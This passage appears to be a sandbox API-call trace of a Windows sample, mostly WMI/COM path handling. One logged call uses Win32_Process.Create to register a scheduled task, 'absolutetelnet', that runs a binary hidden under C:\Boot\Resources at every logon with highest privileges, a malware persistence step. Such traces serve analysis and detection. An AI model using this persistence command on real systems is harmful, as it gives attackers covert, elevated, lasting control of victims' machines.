pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetInfo (in: This=0x3527c0, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0x20c16) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x14, pszText=0x0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=8, puBuffLength=0x1b10da40*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b10da40*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=16, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xb, pszText=0x0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=16, puBuffLength=0x1b10da40*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10da40*=0xb, pszText="root\\cimv2") returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0129.107] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d998 | out: ppv=0x1b10d998*=0x3111d8) returned 0x0 [0129.107] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d988 | out: pAptType=0x1b10d988*=1) returned 0x0 [0129.107] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d990 | out: ppvObject=0x1b10d990*=0x0) returned 0x80004002 [0129.107] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.107] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd88 | out: ppv=0x1b10cd88*=0x1b433a50) returned 0x0 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433a50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce70 | out: ppvObject=0x1b10ce70*=0x0) returned 0x80004002 [0129.108] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433a50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce48 | out: ppvObject=0x1b10ce48*=0x352ac0) returned 0x0 [0129.108] WbemDefPath:IUnknown:Release (This=0x1b433a50) returned 0x0 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cbf0 | out: ppvObject=0x1b10cbf0*=0x352ac0) returned 0x0 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc80 | out: ppvObject=0x1b10cc80*=0x0) returned 0x80004002 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c478 | out: ppvObject=0x1b10c478*=0x0) returned 0x80004002 [0129.108] WbemDefPath:IUnknown:AddRef (This=0x352ac0) returned 0x3 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c338 | out: ppvObject=0x1b10c338*=0x0) returned 0x80004002 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2c0 | out: ppvObject=0x1b10c2c0*=0x0) returned 0x80004002 [0129.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2b0 | out: ppvObject=0x1b10c2b0*=0x1b433990) returned 0x0 [0129.109] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433990, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2d8 | out: pCid=0x1b10c2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.109] WbemDefPath:IUnknown:Release (This=0x1b433990) returned 0x3 [0129.109] CoGetContextToken (in: pToken=0x1b10c360 | out: pToken=0x1b10c360) returned 0x0 [0129.109] CoGetContextToken (in: pToken=0x1b10c7e0 | out: pToken=0x1b10c7e0) returned 0x0 [0129.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8a0 | out: ppvObject=0x1b10c8a0*=0x0) returned 0x80004002 [0129.109] WbemDefPath:IUnknown:Release (This=0x352ac0) returned 0x2 [0129.109] WbemDefPath:IUnknown:Release (This=0x352ac0) returned 0x1 [0129.109] CoGetContextToken (in: pToken=0x1b10d5d0 | out: pToken=0x1b10d5d0) returned 0x0 [0129.109] CoGetContextToken (in: pToken=0x1b10d4d0 | out: pToken=0x1b10d4d0) returned 0x0 [0129.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x352ac0, riid=0x1b10d630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d600 | out: ppvObject=0x1b10d600*=0x352ac0) returned 0x0 [0129.109] WbemDefPath:IUnknown:AddRef (This=0x352ac0) returned 0x3 [0129.109] WbemDefPath:IUnknown:Release (This=0x352ac0) returned 0x2 [0129.109] WbemDefPath:IWbemPath:SetText (This=0x352ac0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0129.109] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0129.109] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xf, pszText=0x0) returned 0x0 [0129.109] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=8, puBuffLength=0x1b10da40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.109] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0129.110] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0129.110] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0129.110] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.111] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b4339b0) returned 0x0 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4339b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0129.111] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4339b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x351140) returned 0x0 [0129.111] WbemDefPath:IUnknown:Release (This=0x1b4339b0) returned 0x0 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x351140) returned 0x0 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0129.111] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0129.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b433810) returned 0x0 [0129.111] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433810, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.112] WbemDefPath:IUnknown:Release (This=0x1b433810) returned 0x3 [0129.112] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0129.112] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0129.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0129.112] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0129.112] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0129.112] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0129.112] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0129.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x351140) returned 0x0 [0129.112] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0129.112] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0129.112] WbemDefPath:IWbemPath:SetText (This=0x351140, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352ac0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0129.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0129.112] WbemDefPath:IWbemPath:GetText (in: This=0x351140, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x351140, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="root\\cimv2") returned 0x0 [0129.113] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x352ac0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351140, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351140, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="root") returned 0x0 [0129.113] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352ac0, uIndex=0x0, pszName="root") returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351140, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351140, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="cimv2") returned 0x0 [0129.113] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352ac0, uIndex=0x1, pszName="cimv2") returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetServer (in: This=0x351140, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetServer (in: This=0x351140, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetServer (in: This=0x352ac0, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetServer (in: This=0x352ac0, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetInfo (in: This=0x352ac0, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0xc15) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10d9b8 | out: puCount=0x1b10d9b8*=0x2) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9b0*=0xf, pszText=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352ac0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x352ac0, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x1d, pszText=0x0) returned 0x0 [0129.113] WbemDefPath:IWbemPath:GetText (in: This=0x352ac0, lFlags=4, puBuffLength=0x1b10da40*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0129.114] CoGetContextToken (in: pToken=0x1b10d350 | out: pToken=0x1b10d350) returned 0x0 [0129.114] WbemLocator:IUnknown:AddRef (This=0x36b3b8) returned 0x3 [0129.114] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d350 | out: ppvObject=0x1b10d350*=0x36b3b8) returned 0x0 [0129.114] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x3 [0129.114] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x2 [0129.114] WbemDefPath:IWbemPath:GetText (in: This=0x352ac0, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0129.114] WbemDefPath:IWbemPath:GetText (in: This=0x352ac0, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0129.114] IWbemServices:GetObject (in: This=0x1b403750, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d9d0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d9d0*=0x1b4414b0, ppCallResult=0x0) returned 0x0 [0129.126] IWbemClassObject:GetMethod (in: This=0x1b4414b0, wszName="Create", lFlags=0, ppInSignature=0x1b10dac8, ppOutSignature=0x1b10dac0 | out: ppInSignature=0x1b10dac8*=0x1b441ed0, ppOutSignature=0x1b10dac0*=0x1b4426a0) returned 0x0 [0129.126] IWbemClassObject:SpawnInstance (in: This=0x1b441ed0, lFlags=0, ppNewInstance=0x1b10dad8 | out: ppNewInstance=0x1b10dad8*=0x1b442a10) returned 0x0 [0129.127] IWbemClassObject:Get (in: This=0x1b442a10, wszName="CommandLine", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0800*=0, plFlavor=0x2ad0804*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0800*=8, plFlavor=0x2ad0804*=32) returned 0x0 [0129.127] IWbemClassObject:Get (in: This=0x1b442a10, wszName="CommandLine", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0800*=8, plFlavor=0x2ad0804*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0800*=8, plFlavor=0x2ad0804*=32) returned 0x0 [0129.127] IWbemClassObject:Put (This=0x1b442a10, wszName="CommandLine", lFlags=0, pVal=0x1b10da60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0129.127] IWbemClassObject:Get (in: This=0x1b442a10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0890*=0, plFlavor=0x2ad0894*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0890*=13, plFlavor=0x2ad0894*=32) returned 0x0 [0129.128] IWbemClassObject:Get (in: This=0x1b442a10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0890*=13, plFlavor=0x2ad0894*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad0890*=13, plFlavor=0x2ad0894*=32) returned 0x0 [0129.128] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d2b0 | out: ppvObject=0x1b10d2b0*=0x36af20) returned 0x0 [0129.128] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d340 | out: ppvObject=0x1b10d340*=0x0) returned 0x80004002 [0129.128] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0129.128] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10cb38 | out: ppvObject=0x1b10cb38*=0x0) returned 0x80004002 [0129.128] IUnknown:AddRef (This=0x36af20) returned 0x3 [0129.128] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c9f8 | out: ppvObject=0x1b10c9f8*=0x0) returned 0x80004002 [0129.129] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c980 | out: ppvObject=0x1b10c980*=0x0) returned 0x80004002 [0129.129] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c970 | out: ppvObject=0x1b10c970*=0x36af28) returned 0x0 [0129.129] IMarshal:GetUnmarshalClass (in: This=0x36af28, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, 